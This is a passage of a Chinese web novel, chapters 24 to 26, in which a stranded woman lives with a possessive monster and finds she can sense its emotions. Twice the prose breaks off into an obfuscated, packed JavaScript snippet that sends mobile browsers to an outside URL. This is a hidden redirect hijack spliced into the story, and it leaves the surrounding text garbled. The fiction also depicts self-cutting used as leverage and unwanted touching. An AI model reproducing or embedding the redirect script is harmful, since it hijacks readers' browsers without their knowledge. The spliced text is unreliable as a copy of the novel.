我再次想起来,我至今都没能记全他们的名字。在这见鬼的贫瘠的世界里,也没条件为他们立碑。 兜兜转转一圈,我还是回到了吞光者身旁。但现在的我拥有了某种自信,使我可以相信,这样的处境不会是最终的答案。 我熄灭了光,对自己说子涵晚安。 24. 入坑 我的睡眠很浅,吞光者一有动静,我就醒了。 吞光者将我带回了它的巢穴。 在路途中时,它会时不时挥舞附肢,紧张兮兮地遮挡光线往远处的传播。 可是一进入这个洞室,吞光者就自在地放下了附肢,放开了我。 我留意到它对光线的态度转变,试探着将光珠子从黑皮袋中整个拿出来。这次吞光者没有任何过激反应,甚至又向我靠近了点,舒展开黑洞般的躯体,吸收着光线的照耀。 我意识到,在安全的地盘上,它享受光照……就像将自己困在房屋中才敢开灯的人类一样。 难道说,像吞光者这样强大的怪物,在外面的世界中都会惧怕外物吗? 当想象到黑暗中可能潜藏着更加巨大、更加可怖之物时,可能是近期接踵而至的失败与胜利让我变得有些疯狂,我的心中竟然浮现出一种跃跃欲试的期待。 我高高举起明亮的光源,检视吞光者的巢穴,这片我曾来过的旧地。 它的巢穴像是卧倒的曲颈瓶,有着易守难攻的入口,和宽阔的厅堂。 厅堂就像是田鼠的粮库,堆满了吞光者收集来的物资,显得比四号基地的集会所还要杂乱。 我还记得,当初我是如何在黑暗之中,满怀畏惧之情,用膝盖和手指一点点摸索,被那些怪异的触感激发出恐怖的联想。 现在灯亮了。 那些事物的诡异程度丝毫也没有降低。 我看向那些眼珠、肠索、膏脂、甲壳……有些事物的外形竟然还能和我记忆中的一些微妙触感对应起来,不,这是理所当然的事情。 当初的我曾试图在这样的厨余垃圾堆中寻找食物。 哪怕我很清楚,末路中的我没有什么选择,但此刻在光照之下,我也感受到一阵迟来的恶心,为此反胃作呕。 吞光者摇摇摆摆地走到杂物推边,一点点清理自己的身体。 那些竟然不是厨余垃圾,而是吞光者从各种生物那里收集来的身体零件。 我看见它按照某种功能性,或者按自己的喜好,卸下臃肿累赘的那部分肢体,再从杂物堆中翻翻找找,挑选更为轻巧的配件。 等吞光者重新完成组装后,它的体型比先前小了一圈,但行动变得流畅灵巧,差不多回到了受伤前的水平。 吞光者自顾着整理自己,却毫无收纳意识,在挑挑拣拣中将零件抛得满地都是。 我走过去,也加入其中,毫不客气地翻动着起它的财产。 我的锯齿杆在战斗中遗失了。我应该能找到替代品,或者能找到更好的。 这里有足够坚硬的、足够锋利的、各种特殊形状的生物构件,如果利用得好,我或许能像石器时代的原始人一样凿出斧,凿出锤,凿出针。 皮革可以制甲。肠索可以造弓。 我像是废品回收站的老板一样心满意足,将能想到用途的玩意都捡出来放到一边。 吞光者收拾好自己后,就安心地守在我旁边,看我忙活,不时用附肢碰碰我的身体和头发。 当我攀爬杂物堆踩空的时候,它会伸出附肢接住我,但我搬东西走动的时候,也会不小心被它碍事的附肢绊到。 我光顾着新鲜的宝藏,在绕过最后一座杂物堆时,没有留意到地形,差点失足踩空。 我及时撑住身体,坐倒在地上,目瞪口呆地看着藏在杂物堆后的那个平地陷坑。 我的光珠子从手中掉落,顺着地势骨碌碌滚落下去,被坑壁遮挡了光线,整个洞室为之一暗。 我没有去捡。 光珠子落得太深了。而且,我认出来了——这是吞光者之前用来活埋我的那个坑洞。 我没想到那个坑洞还在。 吞光者没有掩埋掉巢穴中突兀的陷阱,甚至还继续凿深了它。 我曾奋力撬动的顶盖已经不见踪影。 坑洞变得更深、更广,底部有被吞光者那堆附肢碾压过的施工痕迹。 它为什么要留下它? 这个问句像警告般占据了我所有的思维。 我站在坑洞边缘,心如擂鼓般剧烈跳动,惊慌失措,全然没了主意。只有糟糕的预感和惨痛的记忆,牢牢占据了我的心灵。 此时,吞光者从我身旁经过,我下意识退了一步,挥舞着双臂想要推开它。 结果反倒是我如撞上了铁柱一般,被强大的反作用力震得向后退去,好险不是朝着坑洞的方向掉落。 我慌乱地后退几步,背部紧紧靠着那杂物推,就算肩膀被掉落的物品砸了一下也不敢动。 吞光者手忙脚乱地借助某样工具将坑洞底部的光珠子捞起来。 它不擅长使用工具,因为它原本可以将它们融合进躯体,如臂指使,现在这样做反而更费事。 吞光者努力打捞的光珠子中途掉落了好几次,整个洞室因此明明暗暗。 最终它成功了,它转动附肢,用工具将那颗只剩拇指粒大小的光珠子递到我身前。 想必是吞光者在打捞的途中还是不小心碰到了几次,珠子的形状才奇奇怪怪,还缩水了。 我看了它一会儿。我不知道吞光者的感光器官在哪里,以它吸收光线的特性,或许全身都能算是感光器官。 吞光者正默默地用整个躯体“看”着我,有某条藏在身后的附肢正不安地轻轻敲着地面。 我看不到,但我能听到声音。 我伸手接过了那粒光珠子。 吞光者全身都活泛起来。它舞动附肢,然后哧溜一下,钻进了那个坑洞里。 那个坑洞对吞光者来说太小了。 它勉强挤进去后,还有大部分躯体趴在地表,就像个盆栽萝卜。 我震惊地看着这盆黑泥大萝卜,又环顾了下四周的环境。这里似乎就是吞光者巢穴的最深处了,我在巢穴中没有见到别的坑洞。我推断吞光者过去没有这样的习性。 我想象不出它这样做的原理和动机是什么。 它总不能是在将我的“遗体”送走后,每天晚上在这里睡觉,白天去找四足蜘蛛打架吧? 我有着多余的思考。怪物有着过剩的行动力。 在我还未从那些让我迟钝的思考中恢复过来的时候,吞光者已经腾挪出坑洞的一部分空间,然后伸出附肢,将我往坑洞那边拉扯过去。 我所有的情绪都被打断,只有恐惧和愤怒像火焰般腾的一下燃烧起来。 我不知道吞光者为何执着于将我放进那个储藏柜,我半点也不感激吞光者此次先用自身去尝试了入住体验,我和它在生理强度上有天壤之别。 我会被它的重量碾碎,会被狭窄的洞窟挤扁,会窒息,会晕倒。 而吞光者完全不能理解其中的危险。 我向它龇牙,吼叫,挥舞手臂,用任何原始兽性的方式来表达我的愤怒和反抗。 可吞光者也在此刻展现出它的固执。我无法抵抗它的力量。 我在被拖去坑洞的过程中再次意识到吞光者作为怪物的一面。 它以怪物的方式来爱我。 我的挣扎无法撼动吞光者的肢体,但是我能掏出小刀转向自己。我毫不犹豫地将刀横在手臂上,再适当用力地按下去。 鲜血点点滴滴地溢了出来,像线条般滴落到吞光者的附肢上。 吞光者的行动停下来了,似乎是在试图理解这样的场景。 我的血液不会发光。但它应该在许多战败者那里见过相似的情景,也在我的同胞身上见过这样的情景——无论对哪种生物,“漏液”都是一件极度糟糕的事情。 它试图用附肢堵住我的破损之处,但不得其法,只是让血越流越多。 它的那条附肢终于像畏惧般缩了回去。 我笑了起来,将手臂狠狠地按在另一条附肢上,然后用手指沾了自己的鲜血,肆意涂抹着它那堆黑洞般的肢体。 它抓握我的附肢一条条松开,离去,只留下最后一条,恋恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345821|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舍地圈住我的脚踝,哪怕沾染了鲜血也不愿意撤走。 我盯着最后那条附肢,知道我现在还不能解决它。 我在上次试图逃离时,就招来了活埋这种意想不到的反扑。我还未做好彻底对抗吞光者的准备。 杀死它。这种尖锐的敌意几乎穿透了我的胸膛。 我闭了闭眼睛,告诉自己要从长计议。 我默默地从行囊中取出绷带来止血,又走去杂物堆边继续自己的工作。 吞光者没有阻止我,它仍待在那个坑洞里,就像被丢弃在床上的丈夫,沉默不语,只是伸长了那条附肢,像脚镣般圈着我。 我强迫自己将心思沉浸到工作中去。 不久后,周围的光线突然一暗。 我回过头,看见吞光者静静地坐在我的身后。 它离得很近,却小心地收起了每条附肢,没有碰到我。要不是它的身体吸收掉了原本该反射回来的光线,我也不会察觉到它的靠近。 在这样的近距离下,吞光者的体型变得极具有压迫力,像是一具黑黝黝的山。 哪怕它克制住了不碰触我,也是在扰乱我。 ——它是怪物。 我突然理解了,当初遵循着本能的我,为何要那样残忍地对待四足蜘蛛。 我在潜意识中一直知道,如果我不具备伤害怪物的能力,那我和对方就永远不可能在所谓的爱里平等。 我伸手去抓吞光者的一条附肢,它立即抬起来将其递到我的手上。 我试图用刚找到的一段锐利甲片来割它,却没留下任何痕迹。折叠小刀对它来说就更加不痛不痒。 连光柱子都能吞噬的吞光者大概也不怕火焰的灼烫。 我压上全身的力气,也无法弯折它附肢的末梢。 我在这种无能为力中越来越生气。吞光者却以为我在同它玩耍,它用那条附肢高高地将我托举起来,直到我尖叫着踢它,举起小刀对准自己,逼它将我放下。 我暂时还能控制得住吞光者。 但难道今后每一次和它发生分歧,我都要像曾见过的邻居家女人那般在吵架中寻死觅活吗? 别人觉得她闹起来难看,我觉得她天真得疯狂,怎么会有人以为伤害自己就能够制裁别人呢? 可只有到了同样的境地里,我才明白,那是因为她手中没有别的筹码了。 在权力关系中处于低位的人,往往会过高估量自己的付出和牺牲在别人眼中的价值,如果连这些无法兑现,那就唯有一死,用自毁换取自己想象中的……别人的追悔莫及。 所有的电视剧和小说都在教我们这样做。 我在现实中看到的却只有人走茶凉,人死账销。 现在的情况有所不同。因为吞光者的“爱”是真的,因为我紧紧锁住它的那份能力是真的。我无法信任外物,但我可以信任我自己。 可是,用自杀来换取某个心灵的后悔? 我的命还没有那么贱。 我更想要活着。 在极端状况里我能对自己下得去手,但姑且不说我是否愿意靠伤害自身来换取对方的让步,这种平衡又能维持多久呢? 吞光者总有一天会察觉自身的强大,会察觉我的虚弱。 到时,我就会像个敞开口的罐子,无力地散出“爱”的香甜气息,任由怪物摆放到它想要摆放的储物柜中,任由它按自己的喜好挖掘享用。 那在形式上或许有所区别,但在本质上,与灰眼睛想要对我做的事,没什么不同。 我或许曾有过短暂的、盲目的、傲慢的对自身能力的膨胀自信,它们在这一刻烟消云散。 那些对黑暗、对那些可怖之物的敬畏,重新回归到原本的位置。 如果弱小的我无法驾驭吞光者,那么有能力的我也无法驾驭“爱”着我的吞光者。 我的心中敲起了警钟。 我必须摆脱吞光者,或是在黑暗中找到能与它对等的能力。 25. 新的能力 离开四号基地后,我再次失去了判断时间流逝的外部标准,仅能依照自己的生理需求,在这个不分昼夜的世界中生活。 我在感到疲累的时候睡觉,在吞光者睡觉的时候独自收拾材料。 我很擅长整理物品,更擅长废物利用。没有动手能力的人在乡村是活不好的。 我也喜欢做这种活儿,因为付出的努力往往都有看得见的回报。 我将骨针磨出来了,用其改大了我的行囊,缝好了防护服,并在每个关节处都加装了用四足蜘蛛口器制成的软甲。 弓箭的研制并不成功,我缺乏知识,也没有拉弓的力气。这玩意儿用起来完全不像是电视里那样的优雅,相当需要力气。 但我有了一卷绳索和一把短兵器。 更多的时候我会和吞光者一起外出。 吞光者不会主动寻找和采集光珠子,它像其他那些位于食物链高层的生物一样,主要靠猎食其他动物为生。 吞光者有固定的巢穴,也有自己的觅食区。 它的觅食区是那些矿工队们会刻意避开的高温区域,那里的生物密集而危险,作为风险的回报,那里有一些未经开采的富矿,甚至就直接暴露在岩壁外。 吞光者的捕猎会替我驱散周边的生物。我可以从容地在矿脉处凿破晶壳,补充黑水,来解决自己的饮食需求。 光珠子的消耗量远小于黑水,当我留意到过量的光珠子很难携带后,就会将它们投喂给吞光者。 这时候的吞光者会变得很乖顺。 我忍不住想,其实吞光者很适合成为一个“巢母”。 比在四号基地里接受供奉的那只巢母,它只是差了点运道,没能在适当的时机捡到一群打算开拓新基地的人类。 吞光者对此或许是有自知的。我怀疑它多少了解到了人类会供养巢母的知识,当初才会去黑湖边探头探脑,还能在需要将我放归人群时,立刻找到去四号基地的道路。 我并不打算作为什么开拓者来建立新的人类基地。 重复已有的旧模式,除了满足我想要凌驾于同胞之上的欲望外,无法改变任何事情。 人类在这个世界中太弱小了。 当吞光者完成捕食后,它不介意带着我在黑暗的通道中四处走走——这是吞光者的优点,它不像四足蜘蛛们那样忙忙碌碌跑个不停,有许多富余的时间来满足我对外探索的需求。 在这种探索中,我对周边地理以及生态的知识与日俱增。 我想,在知识储备上,我大概已经超过了四号基地中经验最老道的矿工领队,我甚至能琢磨出一些合适的新采矿路线。 可是,我还未看到什么能让我,能让人类活得更有尊严更有保障的希望。 我们遭遇了许多奇特的生物。 吞光者会挑选强者的肢体作为自身的部件。当它意识到我不再青睐它那张从人类那里剥夺的脸后,某日里那层表皮就被它悄无声息地替代掉了。 我同样在它的猎物中挑挑拣拣,格外留意那些有可能伤害到它的素材,但那种部件一般会先被它捡去,化为己用。 我对剩下的部分也不挑剔。穷人没有浪费的习惯,我熟练地分割并采集素材,挑选合适的出来强化自己的工具和装甲。 我曾有过傻念头,心想若人类的躯体无法消化光珠子,那是否可以利用其他生物的能力来辅助吸收这种新能源呢? 光珠子被它们初步消化后的中间产物,是否还具备高温和坚硬这种人类消化器官无法处理的特性,人类能否尝试着服下? 它们的血液明显是富集了光珠子的物质成分才发光,那它们血肉中是否含有人类可以摄取吸收的营养? 原始人类就是靠茹毛饮血来一步步走上进化之路的。 我谨慎地收集了一些样品。那些尝试的方法和具体过程我不想再回忆,但结局是很不如意的。 我上吐下泻,腹痛不止,头晕脑胀,还几度不省人事。 吞光者或许无法理解我的状态,只是在我的要求下增多了留在巢穴中陪我的时间,该到用餐时,它还是会托着我去狩猎场。 我强迫自己尽可能多地饮用黑水。因为在我以往的生活经历里,养病最为重要的内容就是吃饭。 我边喝边呕,呕完再喝,只期待用这种方式能够稀释掉我体内的有毒物质。 我从黑湖中醒来后,还没有害过这种程度的病症。 我发了几天烧,后来浑身酸软无力,任凭吞光者怎么推我,都只能给出用手指轻敲之类的最低限度的回应。 吞光者不再带我外出了。 不知从何时起,吞光者巢穴中的光照消失了。 我是早就不知道光珠子滚去了哪里。以吞光者的笨拙来说,犯错也是情理中的事。 我懒得再管了。对病人来说有时黑暗更加舒适。 我在黑暗中陷入久违的安眠。 我没怎么做梦,梦也是梦见我那个讨厌的舍友——我早就腻烦了。 我不知道我睡了多久,可当我再次苏醒时,就像是移除了横亘在脑海中的巨石,我的神智变得格外清醒。 我首先感受到的是照耀在眼皮上的光线。这让我忍不住猜测,难道吞光者又将我送回了四号基地? 可是有液体滴在我的脸上。 我抹了把脸,睁开眼睛,看见半具被分尸的四足蜘蛛残骸正悬挂在我的脸上。 我忍住了没有出声,不然那恶心的浆液会滴落到我嘴里。 我半支起身体,往后撤开,看见周遭都是四足蜘蛛的残骸。血液的光芒映亮了半边通道。 我的防护服和头发上都沾满了它们的血液,始作俑者不作他想。 吞光者就在我的旁边。 吞光者不仅会吸收光珠子,它接触到的血液都会失去光彩。 它不会采集光珠子,所以只能屠杀别的生物,然后抓起它们的外壳,用不接触的方式让其中发光的物质流淌到我的身体上。 它以为我需要的是光,所以它给我光。 这是在巢穴外,只有巢穴外才能引来这么多的光。 光已经足够多了,远远超出了吞光者平时在巢穴外对光照的忍耐亮度。 我看见远处地面的血迹边缘有些干涸,吞光者一定已经在这里待了很久。散落其中的生物残骸其实有很多种,大概都是被这里的血液引来的,但最多的还是四足蜘蛛。 其他生物很容易被驱散,只有团结的四足蜘蛛会源源不断地送来自身发光的血液。 我醒来观察环境,已经有一会儿了,但现在还没有新的四足蜘蛛趋光而来。 我猜测,近处的四足蜘蛛群落已经被吞光者屠灭得一个不剩了。 ……下一个赶来的不会是巢母吧? 这个糟糕的联想让我扯了扯嘴角。 这里满地都是血液和残骸,吞光者行走时在血场中留下来线条般的空缺痕迹,让整个场景像是一座大型的祭祀法阵。 因为血液都是明亮发光的,这场祭祀看起来又仿佛充满了神圣光明的气息。 是时候离去了。 我贴身的行囊还在,我用虚弱的手从中掏出光珠子,让吞光者看清我有自己的光,然后向它伸出手臂。 吞光者已经很熟悉这样的姿势,立刻将我托起来。 它在血场中漫步,用自身吸取血液,以四足蜘蛛望尘莫及的速度清扫现场。 祭祀法阵的花纹变得越来越繁复,光明也一点点黯淡,直到只剩下我这最后一个光源。 我在吞光者身上蹭了蹭,来用它擦去我防护服和头发上光芒。 它的附肢层层叠叠又小心翼翼地拥抱上来,像被子一样覆盖住我,遮挡住光珠子向外散播的光芒。 我不确定我的清醒到底是病愈还是回光返照,我让吞光者带我去找黑水,一直喝到再也喝不下了,才返回巢穴去睡觉。 等我再次醒来时,我才能相信,我大概是熬过这个自找的难关了。 我的身躯逐渐恢复了活力,但后遗症一直困扰着我。 我的牙齿松动,指甲蜡黄,落发严重,还时常会感受到莫名的心情浮动。 或许还有其他我未观察到的症状——我没有镜子,看不见自己的脸色如何。 我从这件事中得到的教训是,虽然医药费是可怕的事物,但更可怕的是找不到地方能付医药费。 我将目光从生物们的残骸上移开,决心再也不做这种危险的尝试。 这件 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虽然吞光者表现得越来越迁就我,但我知道那是因为我给了它越来越多的甜头。 我抚摸它,喂食它,枕着它睡觉——但绝不下去那个坑洞。我帮它整理巢穴,清理出更适合它体型的通道,尽可能让它感到生活舒适。 但无论我陪伴得有多亲密,它好像都无法满足,我留意到它睡着时每条附肢的末梢都无意识地指向我,像是随时准备好一个突发情况下的抓握或拥抱。 它不再强迫我按它的喜好扮演洋娃娃,也能忍受我在清洁自身时短暂离开它,在探索中大多数时候它愿意接受由我做出的路线选择。 可我知道在它的迁就之下,藏着就算某日翻脸也能左右我的强大力量。那是客观存在的冷酷无情的力量。 我无法放下对它的戒备。 它当然不知道它有什么错,它的力量是与生俱来的,它被它自己也不能理解的本能操纵着,只知道要亲近我,要爱我。 我和吞光者开始在日常的小事上拉扯起来。以前我放任它玩弄我的头发,或是用附肢碰触我,只要那不碍着我的事,我都无所谓。 但病愈后的我,无法控制自身的情绪,变得越来越敏感,对亲密接触越来越反感。我想要收回这份曾经的放任,而吞光者只想要变本加厉。 某天我醒过来的时候,感觉到自己无法呼吸。 吞光者用自己的身躯将我紧紧包裹,它似乎终于弄懂了衣服和皮肤的区别,将附肢伸进来抚弄我的身体。 某种最原始最隐秘的恐惧在我心中瞬间点燃。 我用尽一切激烈的手段摆脱了它。 可是,当我摆脱它后,在精疲力竭的愤怒和杀意之下,感受到一阵沉重的悲伤和委屈。 为什么? 悲伤我很熟悉,但委屈的感觉我却很少有。我很少自觉理所应当地去争取什么宠爱,自然也不会对这种失败有任何反应。 我忍不住思考,难道我还曾对吞光者心怀过什么指望吗? 难道我不是从第一天起就知道它是彻头彻尾的怪物了吗? 这种质疑让我找回了那个万事都与我无关的冷漠自我——我不再尝试理解自己的情绪,而是尝试用理性去改正它们。 病后烦扰我的那些情绪,像是怎么都擦不掉的乌云,始终停靠在我的天空。可此刻我已看清天空的底色是冷漠的冰蓝,那种沉痛的乌黑就显得虚假无比。 我依旧无法消除它们,但我意识到了那些情绪的来源绝非我自己。 我看向此刻我周围的唯一一位客体。 刚刚遭遇一场失败的吞光者,正躲在巢穴深处,像一团失去黏性的橡胶。 我面无表情地走过去,主动抱住它的身躯,很快,我感受到一种陌生的情绪从心里涌动出来。 我绝对不会在此时感到安慰和依恋。 所以,我病后的那些情绪变化不是生理性的后遗症。 只有牙齿松动和脱发是负面的,我用几颗坚固的牙齿和一大把头发,换来了能力的提升。 ——我能感受到吞光者的想法了。 26. 无常 我迫不及待地对我的新能力开展评估。 曾经的我尚未摸透自己的能力效果,就不得不在吞光者面前被迫全力尝试,后来到了四号基地,又只能小心翼翼地遮掩着施展,为此吃了不少教训。 现在的我则有了吞光者的纵容作为后盾,可以慢慢探索新能力的性能。 去户外选择实验对象的机动性更高,对实验对象的善后处理也更加随心所欲——对吞光者的实验除外。 在狩猎区的实验,让我很快就确认了,我能读取情绪的对象并非只有吞光者。 我能读到其他生物的心理,但并非对任何生物都生效,仅限于我害怕的那些,也就是说,被我的固有能力——“爱”所俘虏的那些。 这不是什么纯粹的新能力,更像是原本能力升级后的附加作用。 那么我原来的那份能力也成长了吗?我猜测是,但我无法确证。 生物在被爱控制后的种种行为,也受到其本性和环境的多重驱使,实在是太难定性和定量了。 就算我现在能钻入它们内心揣度想法,也无从和过去的情况进行比较。 事实上,这份感知被控制对象的心灵动态的能力,对我来说很新鲜,但并不好用。 我学到的第一件事情是,怪物的内心构造有别于人类。 情绪是生物在外界刺激下的认知反应。而这个世界中有许多生物的感知器官就和人类大不相同。 有些低等生物,完全不具备复杂的思考和感受情绪的能力。 像是那种曾在矿洞前让我饱受惊吓的环节生物,我后来在研究中发现,它们又聋又瞎,唯独对触觉敏感,是天然的迟钝者。 当我对它们使用能力后,大多时候是茫然无觉的,只在它们进食时感觉到惬意,在吞光者抓断它们时感到微弱的痛苦而已。它们的感知能力和一截会蠕动的小肠没什么区别,所拥有的心智也差不多。 连接上它们,在感觉上就像是连接了一段外置器官。 我试图对它们再次使用恐惧生爱的能力,这很难,因为在彻底了解它们的习性和生理之后,我就很难再对小肠产生什么畏惧之情了。 我努力回忆当初在脖子上悬挂着它们同胞的恐惧,甚至亲手再尝试了一次,在恶心感中感受着它们不时收紧的蠕动,终于榨出了一丁点对窒息的恐惧。 我好好感受并对比了它们对“爱”的反应,那大概就和它们在饱腹时的舒适感是差不多的。 像环节生物这样迟钝朴素的心灵反而容易研究,黑暗中还有些生理构造更复杂的生物,对我来说,它们的心智是不可名状、难以理喻的。 那些生物的感知器官太敏感了,应激反应要比人类强烈得多。它们似乎每时每刻都处在无止境的饥渴焦虑中。 求生本能赐予它们的情感是冷酷、易怒、嗜血。 我对此浅尝辄止,几乎是在刚刚涉足的时候我就意识到,假使我放任自己和那些怪物的本能情绪同步,可能会丢失掉作为人类的自我认知。 那些怪物还没有强大到足以让我冒那种风险。 我呼唤吞光者尽快帮我解决掉那些麻烦,掐断那些已经连接上的感知。 这是我学到的第二件事情,我的新能力不利于自己的心理健康。 但我知道,我有必要继续开发这份新能力,我需要更加了解受我掌控者的心理状态,才能帮助我这样弱小的人从怪物的“爱”中自保。 我重新将视线转回到我最初也最重要的实验对象身上。 吞光者。 它的心智对我来说是恰好能接受的,并不简单,但也没有复杂到超出人类的智慧。 在我察觉到自身的新能力前,它的情绪曾对我造成了一段时间的困扰和影响。但当我能将其区分开来后,吞光者并不比黑暗中那些不可理喻的怪物更难理解。 我曾很期待能从它身上得知,它对我的“爱”究竟是什么。 ——如果爱是蜜糖,我也想要间接感知蜜糖的味道。 在这样黑暗无味的生活中,哪怕是一枚人造糖果带来的快乐安慰,也是极为珍贵的。 吞光者能感受到的“爱”,一定比小肠的反应更加高级,更加深沉。在我贫乏的想象中,那大概是某种能触及心灵的颤动。 可事实是,我甚少从它那里品味到快慰,那滋味纵有也只是点滴,像是漏斗中的沙,转瞬即逝。 我得出的结论是,如果我的能力真的曾给吞光者送去过爱的甜蜜,那么事到如今,那种甜蜜几近干涸。 但痛苦和疯狂却是一直持续的。在我能感知到它的情绪之前,我很难从它那黑洞般的轮廓中,从它那无法理解的迟钝行动中,觉察到它所身处的焦渴和痛苦。 吞光者的生活在生物中称得上是安定富足,没有本能鞭打着它在疯狂的道路上前行。 让它疯狂的是我。 当我远离时,它的负面情绪会加深,当我靠近时,那些负面情绪也只能得到一定程度的缓解。 我不知道这是曾经那次被迫分离给它带来的心理阴影,还是说,我对它施加的能力过多了,以至于超过了它的负荷能力,对它的大脑造成了永久的损伤? 我知道过度的快乐和悲伤都会损害人的情绪反应,不幸抵达过情绪巅峰的人可能终身都将在抑郁中沉沦——怪物也患会有这样的心理疾病吗? 我无法疗愈它。 明明我就在它身边,它似乎也无时无刻不感到痛苦。 就算我依偎着它的附肢,就算我枕着它睡觉,也会时不时感受到从它心底传来的一阵阵忧虑与焦渴。 它只知道爱我。它不知道该怎么爱我。 我想它是生病了。我先前只畏惧它的力量,现在我开始畏惧它的精神。 我试着小声哼唱,用手指有节奏地敲打它,但那些都只能暂时压制住它的不安,也无法避免它在下次发作时症状继续加深。 吞光者似乎永远都得不到满足。 我忍不住想,爱是这么痛苦又贪婪的事物吗? 我甚至开始恐惧爱。 可我已经无法抽身了。 我用少的可怜的砝码撬起了巨物,当那巨物碾向我时,我无力抗衡,也没有资格抱怨——那是我享受利益时就注定要支付的代价。 我像是坐在摇摇晃晃的火山口上,一旦无法安抚住即将喷发的岩浆,就将万劫不复。而且,我越来越感觉到,我与吞光者的这份关系正在无法挽回地一点点向深渊滑落。 当吞光者对那些痛苦忍无可忍的时候,它会怎么做呢? 会放弃一切过去对爱的期待,幡然醒悟,将我流放?哈,我怎么敢奢望这么好的结局,这个幻想中充满了我身为人类的自大过剩和对怪物兽性的傲慢无知。 将我永远囚禁在巢穴中,放任我在绝望中自杀?它已忍受了这么久痛苦,就算下定决心毁灭像我这样的恶魔也不足为怪。 将我吞吃入腹?将我的尸身纳入它的收藏?它已经融合过一位脆弱的人类,大概不怕再多一个我。当我的肢体变成它的肢体,它大概就不用再忍耐现在这般不得亲近的饥渴。 在比较现实的可能性中,它大概会在弄死我后继续折磨自己,直到它自身抵达毁灭。但就算如此,它的受苦甚至死亡,对我来说没有什么意义。 我耗费了很多无谓的心力在那些想象上,又一点点积攒物资,做好离家出走或者在绝境中反杀的准备——没有把握,但好过没有。 那些准备最终都失去了意义。因为我和吞光者都没能等到那个结局到来。 生活从来都不是只属于我和它的封闭世界,充满了各种不可违抗的外力。 这个世界的黑暗常常掩盖了它的广袤和无常。 那天吞光者带我去一个常去的捕猎区。 奇怪的是,无论它如何用附肢敲打岩壁,本该如雨后春笋般从岩洞中冒出来的食光鼠却一只都没有冒头。 它“困惑”地走来走去,我用光珠子寻找附近那些我曾留下记号的矿脉。 那些食光鼠是杂食生物,会往岩壁深处挖掘光珠子,却将外层暖乎乎的矿脉留给外来的觅食者,一旦感受到采掘的震动就出来狩猎。 它们欺软怕硬,大概杀死过不少弱者,但在遭遇吞光者时会匆忙甩下受伤的同伴,遁逃到复杂的地宫深处。 与往常不同,那天我摸到的岩层都很冰冷,那些食光鼠精心设置的陷阱都空空荡荡,矿脉被挖掘走了。 我都怀疑是不是吞光者来袭击的次数太多,或是食光鼠已经掘空了内部矿脉,这让它们选择收回外部的诱饵,带着存粮迁徙,鼠去巢空了。 正准备离开的时候,我的光珠子突然照见岩壁上一处挖掘矿脉的痕迹,那形状和大小不像是食光鼠的爪子能挖出来的。 此刻吞光者大概也察觉到什么,警惕的情绪同时从我们心底生出来。 我立刻奔向吞光者,它用附肢将我托起来,像牢笼般设下保护的壁障。不需要它的请求,我已经将掌握的光珠子熄灭。 接下来我们都尽可能悄无声息地行动。 我们在附近走了几圈,没有遇到外来的入侵者。 我们警惕,但并不怯战。新出现的敌人,往往也意味着新的素材,新的机会。 我们惦念着这点异常,在户外逗留得比平时更久。吞光者带我去了另一个猎场,这里一切如常。它心不在焉地填饱肚子,我也装满了水囊。 我们比平时更为仔细地收拾了捕猎的痕迹。 就在吞光者离开这个猎场,走入一条熟悉的通道时,转角处突然腾起一道火墙,阻拦了吞光者的去路。 那火墙几乎砸在吞光者的脸上——这是形容,我很确信它本身没有脸这样的结构。 我隔着它附肢的栏杆都感受到了高温的灼热,那火星差点飞进来燎到我的眉毛。 我终于见识到了吞光者的防火性能,它果然不怕高温,漆黑的皮肤没有被火光映亮分毫,情绪中也没有多余的痛苦,它只是出于对火焰光线的避忌,本能地后退避让。 接连有三四道火墙升起,吞光者遵循着本能躲入了唯一那道缺口后的黑暗。 可我却感觉到了一丝不对劲,为何使用火墙狩猎的生物不将那个出口封死呢?除非…… 我还未得出那个答案,吞光者已经落入了黑暗中的陷阱。 那里藏着的不是什么与它势均力敌的巨兽,而是粘稠得像胶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但就算吞光者已经触及沼泽底部,有了借力点,也没那么容易从沉重的淤泥中逃脱出来。 对面的火墙慢慢熄灭了,一切归于黑暗。 可我不会傻到认为对方设下这样的陷阱只是为了逃脱。暂时的平静肯定是为了某种攻击在蓄势蓄力。 我不清楚对面来人的习性,不确定他们会否为了我这区区一名人类放弃耗费巨大的狩猎计划,不确定他们是否已在前期的狩猎情报收集中了解到我的存在并且已擅自决定了我的结局。 他们会把我看做与怪物同行的魔女吗?还是伥鬼?他们发动狩猎计划前完全没有试图与我沟通。 我做好最坏的准备,没有呼救,而是沉默地将自己的身体蜷缩在吞光者的附肢中,避免遭受误伤。 我没有等待太久。 最终的一击来了,居然是光。 我无法追溯来源。强光出现的那一瞬,就像一把榔头狠狠敲在了我的头上。 足够强烈的光线是能有如实质的,那光亮甚至比吞光者为我主持的血液祭祀更强烈千倍。 我下意识用胳膊挡住眼睛,但是已经迟了,哪怕有吞光者的附肢替我挡住绝大部分光线,从缝隙里露出来的也够我受的了。 我头晕目眩,天旋地转,好一阵里都无法思考与行动。我不知道外界发生了什么,从吞光者那里传来的源源不断的痛苦折磨着我的心智。 原来光也是能作为武器的。 我在混乱中想起了当初分组时因绝望而试图激怒怪物的发光者。 某个小小的念头在我心底转瞬即逝。我和他都被分去了一号基地,真的是因为我们弱小吗? 吞光者的情绪逐渐变得虚弱,然后好像下定了某种决心。我依稀感觉到它的抽离,它的心灵在仇恨与愤怒中离我远去。我自身的疼痛感觉重新占据上风。 更为具体的疼痛让我回过神来。 我额角发疼,视网膜上还是白茫茫一片。我估计我的视力短时间内都无法恢复,只能依靠感知,猜测自己的身躯是摔倒在一堆僵冷的附肢之间。 